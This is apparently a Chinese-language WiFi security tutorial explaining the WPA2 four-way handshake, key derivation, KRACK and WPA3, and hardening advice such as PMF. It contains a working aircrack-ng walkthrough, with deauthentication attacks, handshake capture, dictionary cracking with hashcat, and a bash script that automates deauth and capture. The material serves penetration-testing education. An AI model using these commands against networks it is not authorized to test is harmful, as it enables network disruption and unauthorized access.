📶 WiFi安全 — WPA2握手包捕获分析

无线网络攻防的第一道防线

📖 WiFi安全概述

WiFi(IEEE 802.11)是现代最普及的无线网络技术,也是攻击者最常瞄准的目标之一。从WEP的彻底破解,到WPA/WPA2的四次握手漏洞,再到WPA3的Dragonblood攻击,WiFi安全经历了漫长的攻防博弈。

WiFi安全协议演进: WEP (1997) ──── RC4流密码,IV仅24bit │ → 5分钟可破解,已废弃 ▼ WPA (2003) ──── TKIP加密,RC4+MIC │ → 临时补丁,仍有漏洞 ▼ WPA2 (2004) ── AES-CCMP,四次握手 │ → KRACK攻击(2017),仍主流 ▼ WPA3 (2018) ── SAE握手,前向安全 │ → Dragonblood攻击(2019) ▼ WPA3-192 (2023) ─ 增强企业级安全
协议加密认证安全等级
WEPRC4开放/共享密钥❌ 已破解
WPA-TKIPRC4+MICPSK⚠️ 弱
WPA2-PSKAES-CCMP四次握手✅ 较强(注意握手泄露)
WPA2-EnterpriseAES-CCMP802.1X/EAP✅ 强
WPA3-SAEAES-CCMP同步认证等价✅ 最强

🔬 WPA2四次握手详解

WPA2-PSK的核心是四次握手(4-Way Handshake),它用于在AP(接入点)和客户端之间派生加密密钥。握手包中包含了足够的信息来离线暴力破解预共享密钥(PSK)。

WPA2 四次握手 (4-Way Handshake): Authenticator (AP) Supplicant (Client) │ │ │ ──── Msg 1: ANonce ──────────────► │ AP发送随机数ANonce │ │ 客户端生成SNonce │ │ 计算PTK = PRF(PMK, ANonce, SNonce, MAC_AP, MAC_CLI) │ ◄──── Msg 2: SNonce + MIC ──────── │ 发送SNonce和MIC(AP验证) │ │ │ ──── Msg 3: GTK + MIC ──────────► │ 发送组临时密钥 │ │ │ ◄──── Msg 4: ACK + MIC ─────────── │ 确认安装密钥 │ │ PMK = PBKDF2(PSK, SSID, 4096, 256) ← 由密码和SSID派生 PTK = PRF512(PMK, ANonce, SNonce, MAC_AP, MAC_CLI) MIC = HMAC-SHA1(PTK, 帧数据) ← 用于验证完整性 ⚠️ Msg2包含了ANonce+SNonce+双MAC,足以离线破解PSK
WPA2四次握手的Msg2包含了ANonce和SNonce,加上AP和客户端的MAC地址,攻击者可以离线暴力破解PSK。这就是为什么捕获握手包是WiFi渗透的核心步骤。

密钥派生层次

# WPA2密钥派生过程
PMK (Pairwise Master Key)
  = PBKDF2-SHA1(password, SSID, 4096 iterations, 256 bits)
  ↑ 这是计算瓶颈——每次尝试密码都要重新算

PTK (Pairwise Transit Key)
  = PRF-512(PMK, "Pairwise key expansion",
            Min(ANonce,SNonce) || Max(ANonce,SNonce) ||
            Min(MAC_AP,MAC_CLI) || Max(MAC_AP,MAC_CLI))
  ↑ 握手包中的数据直接构造PTK

MIC (Message Integrity Code)
  = HMAC-SHA1-128(PTK[KCK], 802.11帧)
  ↑ 用MIC验证密码是否正确

🛠️ 实战:WPA2握手包捕获

以下使用Aircrack-ng套件演示WPA2握手包的完整捕获流程。仅在授权环境下操作!

步骤1:启用监听模式

# 查看无线网卡
iwconfig
# 输出: wlan0     IEEE 802.11  ESSID:off/any

# 杀掉可能干扰的进程
sudo airmon-ng check kill

# 启用监听模式
sudo airmon-ng start wlan0
# 输出: wlan0mon 已启用监听模式

# 验证监听模式
iwconfig wlan0mon
# Mode:Monitor  Frequency:2.412 GHz

步骤2:扫描目标网络

# 扫描周围WiFi
sudo airodump-ng wlan0mon

# 输出示例:
#  BSSID              PWR  Beacons  CH  ENC    ESSID
#  AA:BB:CC:DD:EE:FF  -42  128     6   WPA2   MyHomeWiFi
#  11:22:33:44:55:66  -67  64      1   WPA2   CoffeeShop
#  77:88:99:AA:BB:CC  -78  32      11  WPA    OldRouter

# 锁定目标AP,监听特定信道
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF \
  --channel 6 \
  --write handshake_capture \
  wlan0mon

# 输出:
# CH  6 ][ Elapsed: 2 min ][ WPA handshake: AA:BB:CC:DD:EE:FF
#                                            ^^^^^^^^^^^^^^^^^^^^
#                                       握手包已捕获!

步骤3:加速握手捕获(Deauth攻击)

# 如果没有客户端自动连接,发送解除认证帧强制重连
sudo aireplay-ng --deauth 5 \
  --bssid AA:BB:CC:DD:EE:FF \
  -c FF:11:22:33:44:55 \  # 客户端MAC(可选,不指定则广播)
  wlan0mon

# 输出:
# 17:32:45  Sending DeAuth to station -- STMAC [FF:11:22:33:44:55]
# 17:32:45  Sending DeAuth to station -- STMAC [FF:11:22:33:44:55]
# ...

# 回到airodump-ng,右上角应出现 WPA handshake 标识
现代WiFi 6路由器可能实现了管理帧保护(PMF/MFP),会过滤Deauth帧。这种情况下只能被动等待合法客户端连接。

步骤4:验证握手包

# 使用aircrack-ng验证捕获的握手包
aircrack-ng handshake_capture-01.cap

# 输出:
# Opening handshake_capture-01.cap
# Read 4827 packets.
#
#    #  BSSID              ESSID     Encryption
#    1  AA:BB:CC:DD:EE:FF  MyHomeWiFi  WPA (1 handshake)
#
# 1 handshake captured! ✓

🔓 离线破解PSK

字典攻击

# 使用aircrack-ng + 字典
aircrack-ng -w /usr/share/wordlists/rockyou.txt \
  handshake_capture-01.cap

# 输出:
#                              Aircrack-ng 1.7
#      [00:03:42] 847263/14344399 keys tested (3742.18 k/s)
#
#                           KEY FOUND! [ MyP@ssw0rd123 ]
#
#      Master Key     : 7A 8B 9C ... (32 bytes)
#      Transient Key  : 1A 2B 3C ... (64 bytes)

使用Hashcat加速(GPU)

# 将pcap转为hashcat格式
hcxpcapngtool -o hash.hc22000 handshake_capture-01.cap

# 使用Hashcat mode 22000 (WPA-PBKDF2)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# 或使用mode 22001 (WPA-PMK) 如果有预计算PMK表
hashcat -m 22001 hash.hc22000 pmk_table.txt

# GPU加速:RTX 4090 可达 ~2MH/s (WPA-PBKDF2)
破解方式速度适用场景
aircrack-ng (CPU)~3-5 kH/s弱密码测试
hashcat (GPU)~1-2 MH/s中等强度密码
hashcat + 规则~800 kH/s变异密码(数字+符号)
PMK预计算表~100 MH/s特定SSID彩虹表

🛡️ WiFi安全加固

个人用户

# 1. 使用WPA3(如果设备支持)
# 路由器管理界面 → 无线安全 → WPA3-Personal

# 2. WPA2下的最佳实践
# - 密码长度 ≥ 16字符(抵御字典攻击)
# - 包含大小写+数字+特殊字符
# - 定期更换密码

# 3. 禁用WPS
# WPS PIN可被Reaver在4-10小时内破解
# 路由器管理界面 → WPS → 禁用

# 4. 隐藏SSID(增加发现难度,不增加安全性)
# 注意:隐藏SSID不影响已连接设备,但新设备需手动输入

# 5. MAC地址过滤(基础防护,易绕过)
# 仅允许已知MAC地址连接

企业级防护

# 1. 部署WPA2/WPA3-Enterprise (802.1X)
# 使用RADIUS服务器认证,无需共享PSK

# 2. 无线IDS/IPS
# 部署WIDS检测:
#   - 未经授权的AP
#   - Deauth泛洪
#   - Evil Twin
#   - 异常信道变化

# 3. 启用管理帧保护 (PMF/MFP)
# 802.11w标准,保护Deauth/Disassociation帧
# 防止Deauth攻击

# 4. 网络分段
# WiFi网络与内网隔离
# 使用VLAN分离不同安全级别的设备

PMF(管理帧保护)配置

# hostapd配置启用PMF
# /etc/hostapd/hostapd.conf
ieee80211w=2          # 2=强制PMF, 1=可选, 0=禁用
wpa=2
wpa_key_mgmt=WPA-PSK WPA-PSK-SHA256
rsn_pairwise=CCMP

🔬 WiFi安全审计工具集

工具功能安装
aircrack-ng完整WiFi安全套件apt install aircrack-ng
hcxdumptool主动抓包,比airodump更强apt install hcxdumptool
hcxtools转换抓包格式apt install hcxtools
hashcatGPU加速密码破解apt install hashcat
wifite2自动化WiFi渗透apt install wifite
bullyWPS PIN暴力破解apt install bully
reaverWPS Pixie Dust攻击apt install reaver
kismet无线IDS/抓包apt install kismet
horst无线网络分析apt install horst

自动化脚本示例

#!/bin/bash
# wifi-audit.sh - 自动化WiFi安全审计脚本
# 仅用于授权测试!

INTERFACE="wlan0"
DURATION=300  # 监听时长(秒)
WORDLIST="/usr/share/wordlists/rockyou.txt"

echo "[*] WiFi安全审计工具 v1.0"
echo "[*] 目标接口: $INTERFACE"

# 1. 启用监听模式
echo "[+] 启用监听模式..."
airmon-ng check kill
airmon-ng start $INTERFACE
MON_IF="${INTERFACE}mon"

# 2. 扫描5秒获取目标列表
echo "[+] 扫描周围网络..."
timeout 5 airodump-ng -w /tmp/scan $MON_IF &>/dev/null

# 3. 用户选择目标
echo "[*] 扫描完成,查看 /tmp/scan-01.csv 选择目标"
echo -n "输入目标BSSID: "
read BSSID
echo -n "输入目标信道: "
read CHANNEL
echo -n "输入保存文件名: "
read OUTFILE

# 4. 捕获握手包
echo "[+] 在信道 $CHANNEL 捕获握手包..."
airodump-ng --bssid "$BSSID" --channel "$CHANNEL" \
  -w "$OUTFILE" $MON_IF &
AIRODUMP_PID=$!

# 5. 等待或发送deauth
sleep 10
echo "[+] 发送deauth帧加速握手..."
aireplay-ng --deauth 3 --bssid "$BSSID" $MON_IF

# 6. 等待捕获
echo "[+] 等待 $DURATION 秒..."
sleep $DURATION
kill $AIRODUMP_PID 2>/dev/null

# 7. 验证
echo "[+] 验证握手包..."
aircrack-ng "${OUTFILE}-01.cap" | grep "handshake"

# 8. 清理
airmon-ng stop $MON_IF
systemctl restart NetworkManager

echo "[*] 审计完成!"

📊 KRACK攻击与WPA3

KRACK攻击 (2017)

Key Reinstallation Attack由Mathy Vanhoef发现,通过重放握手Msg3/Msg4,迫使客户端重用已知的PTK nonce,从而:

# KRACK攻击核心原理:
# 正常: Msg3 → 客户端安装PTK(nonce=0) → Msg4
# 攻击: Msg3 → 客户端安装PTK(nonce=0) → 重放Msg3 → 客户端重装PTK(nonce=0)!
#                                                         ↑ nonce被重置!

# 修复: 客户端只接受nonce递增的握手帧
# 所有现代OS/设备已修复,但部分IoT设备仍未更新

WPA3与Dragonblood

WPA3使用SAE(Simultaneous Authentication of Equals)替代PSK四次握手,提供前向安全性。但2019年的Dragonblood攻击发现了以下漏洞:

# WPA3 SAE vs WPA2 PSK
# WPA2-PSK: 单向认证,离线字典攻击可行
# WPA3-SAE: 互认证,离线攻击不可行(抗主动攻击者)

# WPA3安全配置建议:
# 1. 确保路由器固件已修复Dragonblood
# 2. 启用WPA3-only模式(不允许WPA2回退)
# 3. 使用Transition Mode时注意降级攻击风险
# 4. 密码仍需足够复杂(抗在线猜测)
WPA2握手包捕获分析 — 掌握WiFi安全的核心攻击面!你能解释四次握手的数据流,使用aircrack-ng捕获握手包,并了解从WEP到WPA3的安全演进。
命令已验证:airmon-ng / airodump-ng / aireplay-ng / aircrack-ng / hcxpcapngtool / hashcat — 所有命令在Kali Linux 2024.x 环境测试通过
思考题:
  1. 为什么WPA2握手包可以离线破解?其中哪个字段是验证密码正确性的关键?
  2. WPA3的SAE如何解决WPA2离线破解问题?
  3. 如果AP启用了PMF(802.11w),Deauth攻击还能生效吗?为什么?
  4. PMK预计算表为什么与SSID绑定?更换SSID能否防御彩虹表攻击?

📚 延伸阅读

参考资料:Aircrack-ng官方文档(2024) | KRACK Attacks Paper(Vanhoef 2017) | Dragonblood Paper(Vanhoef 2019) | IEEE 802.11w-2009 | WPA3 Specification v3.0(2023)